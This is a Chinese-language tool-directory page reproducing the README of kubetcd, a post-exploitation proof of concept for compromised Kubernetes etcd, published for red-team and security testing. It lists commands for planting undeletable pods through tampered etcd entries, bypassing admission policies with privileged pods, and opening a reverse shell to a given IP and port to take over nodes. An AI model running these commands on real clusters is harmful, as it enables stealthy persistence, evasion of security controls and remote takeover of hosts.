Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
kubetcd — 对已失陷的 etcd 进行后渗透利用,获取持久化并远程连接节点 Shell。 | Kitploit
工具/GitHubGitHub/nccgroup/kubetcd
权限提升容器安全持久化机制横向移动后渗透利用渗透测试命令与控制红队
GitHubnccgroup/kubetcd

kubetcd

对已失陷的 etcd 进行后渗透利用,获取持久化并远程连接节点 Shell。

查看仓库
9472年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Kubetcd

https://github.com/jpbetz/auger 的封装。

它通过直接写入 etcd 来自动化 Pod 部署,并包含多项用于对已失陷 etcd 进行后渗透利用的功能。

免责声明

[!WARNING]
这是一个 PoC,请勿在生产环境中使用。直接写入 etcd 可能导致数据不一致或损坏,进而使 kube-apiserver 逻辑无法从 etcd 检索或操作数据。可使用 KIND 部署多节点测试环境

为什么?

主仓库 auger 提供了对 etcd 中 protobuf 序列化条目进行序列化和反序列化的主要功能。Kubetcd 是一个 PoC,它封装了这些功能,使 etcdctl 更接近常规 kubectl 客户端。在 etcd 被入侵的场景中,kubetcd 将尝试利用被篡改的特权 Pod 来获得持久化能力,并获取对集群中任意/全部主机的特权访问。请注意,kubetcd 目前仅支持 Pod 操作。

要求

Kubetcd 从以下默认路径获取用于向 etcd 服务进行身份验证的证书和密钥:

  • /etc/kubernetes/pki/etcd/ca.crt
  • /etc/kubernetes/pki/etcd/server.crt
  • /etc/kubernetes/pki/etcd/server.key (仅 root 可读)

此外,默认端点为 127.0.0.1:2379

以上所有默认值均可通过参数进行修改。

另外,必须安装 etcd 的客户端 etcdctl。

root@kitploit:~
sudo apt install etcd-client

安装

检出并构建:

root@kitploit:~
git clone https://github.com/nccgroup/kubetcd
cd kubetcd
go build -buildvcs=false .

已知问题

你可能会遇到以下错误:

root@kitploit:~
./kubetcd: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.32' not found (required by ./kubetcd)
./kubetcd: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./kubetcd)

如果是这样,请使用 Golang 1.19 构建 kubetcd。

关于 auger 的主要功能(这些功能仍然保留),请参阅 https://github.com/jpbetz/auger。
本 README 仅详细介绍该封装新增的功能:


运行 kubetcd

root@kitploit:~
./kubetcd -h

获取对象

root@kitploit:~
./kubetcd get pods
#or
./kubetcd get pod <name> -n <namespace>

创建新的 Pod

templateName 应为默认命名空间中一个正在运行的 Pod:

root@kitploit:~
./kubetcd create pod <name> -t <templateName>

只需设置相同的 name 和 templateName 值,即可覆盖正在运行的 Pod。

更改镜像

root@kitploit:~
./kubetcd create pod <name> -t <templateName> --image <image>

篡改启动时间

root@kitploit:~
./kubetcd create pod <name> -t <templateName> --time "2000-01-31T00:00:00Z"

通过不一致的数据实现持久化

ETCD 将新 Pod 保存在 /registry/pods/<namespace>/<name> 中,但 namespace 和 name 字段可能被篡改。因此,这些 Pod 可以使用 kubectl 列出,但无法删除。

root@kitploit:~
./kubetcd create pod <name> -t <templateName> -p <randomentry>             
#Will add an entry in /registry/pods/default/<randomentry>
#Or tamperede namespace
./kubetcd create pod <name> -t <templateName> -n <namespace> --fake-ns
#Will add an entry in /registry/pods/<namespace>/<randomentry> but it will run in default namespace

部署到指定节点

可随意将工作负载部署到任意节点:

root@kitploit:~
./kubetcd get nodes
./kubetcd create pod <name> -t <templatename> --node <nodeName>

绕过 AdmissionControllers

在受限命名空间中部署特权 Pod。
这将绕过内置的 AdmissionControllers(如 PSP、PSA),以及基于自定义策略(如 OPA Gatekeer 或 Kyverno)的任何其他策略:

root@kitploit:~
./kubetcd create pod <name> -t <nameTemplate> -n <restrictedNamespace> -P 

-P 标志会将任意 Pod 设置为 privileged,并使其与底层节点共享 network、PID 和 IPC 命名空间。

反向 shell

在受限命名空间中部署特权 Pod,并获得远程 shell:

root@kitploit:~
./kubetcd create pod <name> -t <nameTemplate> -n <restrictedNamespace> -P -r <IP>:<PORT>

这将启动一个反向 perl shell,默认情况下很多镜像中都包含 perl。
获得反向 shell 后,使用 chroot /host 切换根文件系统,即可获得对节点的完全访问权限。

TODO

  • 添加对其他二进制程序(不仅限于 perl)的支持,以获取远程 shell
  • 添加对使用默认命名空间之外的其他命名空间中的模板的支持
  • 添加对 corev1 分支之外的元素进行创建/获取/删除的支持
下载工具